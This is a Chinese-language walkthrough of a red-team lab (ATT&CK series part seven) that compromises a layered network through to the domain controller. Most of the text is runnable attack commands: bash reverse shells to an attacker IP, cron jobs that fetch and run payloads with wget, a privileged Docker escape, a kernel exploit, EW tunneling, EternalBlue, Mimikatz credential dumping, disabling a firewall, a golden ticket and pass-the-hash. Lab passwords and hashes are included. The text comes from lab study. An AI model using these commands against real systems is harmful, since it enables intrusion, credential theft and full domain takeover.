ATT&CK实战系列-红队评估(七)学习记录
字数 1456 2025-08-12 11:34:25

ATT&CK实战系列-红队评估(七)教学文档

1. 初始信息收集与漏洞利用

1.1 Laravel漏洞利用

  • 尝试利用Laravel调试模式导致的信息泄露漏洞
  • 使用Goby扫描发现两个关键漏洞:
    • Laravel远程代码执行(RCE)
    • Redis未授权访问

1.2 反弹Shell建立

  • 攻击机(Kali)监听端口:nc -lvp 8065
  • 通过Goby执行反弹Shell命令:
    bash -c 'exec bash -i &>/dev/tcp/192.168.0.133/8065 <&1'
    
  • 获取到jobs用户权限(后续发现是web2的docker容器)

2. 权限提升技术

2.1 查找SUID文件提权

  • 查找具有SUID权限的文件:
    find / -perm -u=s -type f 2>/dev/null
    
  • 发现/home/jobs下存在名为shell的可疑高权限文件
  • 提权步骤:
    cd /tmp
    echo "/bin/bash" > ps
    chmod 777 ps
    echo $PATH
    export PATH=/tmp:$PATH
    cd /home/jobs
    ./shell
    

2.2 Redis提权

  • 前提条件:Redis以root权限运行
  • 提权步骤:
    1. 生成SSH公钥文件并上传至web1-redis的shell键中
    2. 修改Redis备份目录为/root/.ssh并修改保存文件名
    3. 通过SSH连接目标:ssh 192.168.0.130
    4. 信息收集发现DMZ主机权限,内网为192.168.52.1/24网段

3. Docker逃逸技术

3.1 特权模式逃逸

  • 利用条件:容器以特权模式(--privileged)启动
  • 逃逸步骤:
    fdisk -l  # 查看磁盘文件
    mkdir /hack  # 新建挂载目录
    ls /dev  # 查看设备文件
    mount /dev/sda1 /hack  # 挂载宿主机磁盘
    ls /hack  # 验证挂载成功
    

3.2 逃逸后提权方法

  1. 写入公钥文件

    • 在/hack/home/ubuntu/.ssh目录下写入公钥文件
    • 使用web1生成的公钥内容
  2. 写入计划任务

    • 方法A(使用MSF):
      echo 'wget -qO 9Q18YaP8 --no-check-certificate http://192.168.0.133:8080/wE22Kdz1bsdKfdl; chmod +x 9Q18YaP8; ./9Q18YaP8& disown' >> /hack/var/spool/cron/crontabs/root
      
    • 方法B(反弹Shell):
      echo 'bash -i >& /dev/tcp/192.168.0.133/1233 0>&1' >> /hack/var/spool/cron/root
      

3.3 Linux内核提权(CVE-2021-3493)

  • 使用公开的EXP:https://github.com/briskets/CVE-2021-3493
  • 操作步骤:
    touch exploit.c  # 创建EXP文件
    # 将EXP内容写入文件
    gcc exploit.c -o exploit  # 编译
    ./exploit  # 执行提权
    

4. 内网渗透技术

4.1 内网探测

  1. MSF上线

    use exploit/multi/script/web_delivery
    set target 7
    set lhost 192.168.0.133
    set payload linux/x64/meterpreter/reverse_tcp
    run
    
  2. Fscan探测

    • 上传fscan工具到目标/tmp目录
    • 执行扫描:
      ./fscan_amd64 -h 192.168.52.1/24
      
  3. MSF路由添加

    • 自动添加路由:
      run post/multi/manage/autoroute
      
    • 手动添加路由:
      route add 192.168.52.0 255.255.255.0
      route print
      

4.2 内网穿透(EW工具)

  1. 第一层穿透(攻击机->Web1)

    • 攻击机:
      ./ew_for_linux64 -s rcsocks -l 1080 -e 1234
      
    • 靶机(Web1):
      nohup ./ew_for_linux64 -s rssocks -d 192.168.0.133 -e 1234 &
      
  2. 第二层穿透(Web1->PC1)

    • 攻击机:
      ./ew_for_linux64 -s lcx_listen -l 1090 -e 9998
      
    • PC1:
      ew_for_Win.exe -s ssocksd -l 999
      
    • Web1:
      ./ew_for_linux64 -s lcx_slave -d 192.168.0.133 -e 9998 -f 192.168.52.30 -g 999
      

4.3 横向移动技术

  1. MS17-010(永恒之蓝)

    setg Proxies socks5:127.0.0.1:1090
    use exploit/windows/smb/ms17_010_eternalblue
    set rhosts 192.168.93.40
    set payload windows/x64/meterpreter/bind_tcp
    run
    
  2. 密码抓取(Mimikatz)

    privilege::debug
    sekurlsa::logonPasswords
    
  3. 域控防火墙关闭

    net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
    sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
    sc \\192.168.93.30 start unablefirewall
    
  4. 计划任务执行

    net time \\192.168.93.30
    schtasks /create /s \\192.168.93.30 /u Administrator /p Whoami2021 /tn test /tr C:\smb_8888.exe /sc once /st 14:59
    
  5. Psexec模块利用

    use exploit/windows/smb/psexec
    set rhosts 192.168.93.30
    set SMBUser Administrator
    set SMBPass Whoami2021
    set payload windows/meterpreter/bind_tcp
    

5. 域渗透技术

5.1 黄金票据制作

  1. 提取域控信息

    lsadump::dcsync /user:krbtgt
    
    • 获取SID和NTLM hash
  2. 制作黄金票据

    kerberos::golden /user:administrator /domain:whoamianony.org /sid:S-1-5-21-1315137663-3706837544-1429009142 /krbtgt:6be58bfcc0a164af2408d1d3bd313c2a /ticket:administrator.kiribi
    
  3. 加载票据

    kerberos::ptt administrator.kiribi
    

5.2 哈希传递攻击

sekurlsa::pth /user:administrator /domain:whoamianony.org /ntlm:ab89b1295e69d353dd7614c7a3a80cec

6. 总结与网络拓扑

6.1 网络层次结构

  1. Web1(第一层)

    • IP: 192.168.0.130和192.168.52.10
    • 通过Redis公钥提权获得
  2. Web2(第二层)

    • IP: 192.168.52.20和192.168.93.10
    • 通过Larvel-RCE反弹Shell提权到root
    • Docker逃逸后写公钥进行SSH连接
  3. PC1(第三层)

    • IP: 192.168.52.30和192.168.93.20
    • 通过内网穿透和永恒之蓝攻击获取
  4. DC(域控)

    • IP: 192.168.93.30
    • 通过黄金票据和哈希传递攻击获取
  5. PC2

    • IP: 192.168.93.40
    • 通过永恒之蓝攻击获取

6.2 关键工具列表

  • Goby:漏洞扫描
  • Netcat:反弹Shell
  • EW:内网穿透
  • Mimikatz:密码抓取和哈希传递
  • MSFVenom:木马生成
  • Fscan:内网扫描
  • CVE-2021-3493 EXP:Linux内核提权
ATT&CK实战系列-红队评估(七)教学文档 1. 初始信息收集与漏洞利用 1.1 Laravel漏洞利用 尝试利用Laravel调试模式导致的信息泄露漏洞 使用Goby扫描发现两个关键漏洞: Laravel远程代码执行(RCE) Redis未授权访问 1.2 反弹Shell建立 攻击机(Kali)监听端口: nc -lvp 8065 通过Goby执行反弹Shell命令: 获取到jobs用户权限(后续发现是web2的docker容器) 2. 权限提升技术 2.1 查找SUID文件提权 查找具有SUID权限的文件: 发现/home/jobs下存在名为shell的可疑高权限文件 提权步骤: 2.2 Redis提权 前提条件:Redis以root权限运行 提权步骤: 生成SSH公钥文件并上传至web1-redis的shell键中 修改Redis备份目录为/root/.ssh并修改保存文件名 通过SSH连接目标: ssh 192.168.0.130 信息收集发现DMZ主机权限,内网为192.168.52.1/24网段 3. Docker逃逸技术 3.1 特权模式逃逸 利用条件:容器以特权模式(--privileged)启动 逃逸步骤: 3.2 逃逸后提权方法 写入公钥文件 : 在/hack/home/ubuntu/.ssh目录下写入公钥文件 使用web1生成的公钥内容 写入计划任务 : 方法A(使用MSF): 方法B(反弹Shell): 3.3 Linux内核提权(CVE-2021-3493) 使用公开的EXP:https://github.com/briskets/CVE-2021-3493 操作步骤: 4. 内网渗透技术 4.1 内网探测 MSF上线 : Fscan探测 : 上传fscan工具到目标/tmp目录 执行扫描: MSF路由添加 : 自动添加路由: 手动添加路由: 4.2 内网穿透(EW工具) 第一层穿透(攻击机->Web1) : 攻击机: 靶机(Web1): 第二层穿透(Web1->PC1) : 攻击机: PC1: Web1: 4.3 横向移动技术 MS17-010(永恒之蓝) : 密码抓取(Mimikatz) : 域控防火墙关闭 : 计划任务执行 : Psexec模块利用 : 5. 域渗透技术 5.1 黄金票据制作 提取域控信息 : 获取SID和NTLM hash 制作黄金票据 : 加载票据 : 5.2 哈希传递攻击 6. 总结与网络拓扑 6.1 网络层次结构 Web1(第一层) : IP: 192.168.0.130和192.168.52.10 通过Redis公钥提权获得 Web2(第二层) : IP: 192.168.52.20和192.168.93.10 通过Larvel-RCE反弹Shell提权到root Docker逃逸后写公钥进行SSH连接 PC1(第三层) : IP: 192.168.52.30和192.168.93.20 通过内网穿透和永恒之蓝攻击获取 DC(域控) : IP: 192.168.93.30 通过黄金票据和哈希传递攻击获取 PC2 : IP: 192.168.93.40 通过永恒之蓝攻击获取 6.2 关键工具列表 Goby:漏洞扫描 Netcat:反弹Shell EW:内网穿透 Mimikatz:密码抓取和哈希传递 MSFVenom:木马生成 Fscan:内网扫描 CVE-2021-3493 EXP:Linux内核提权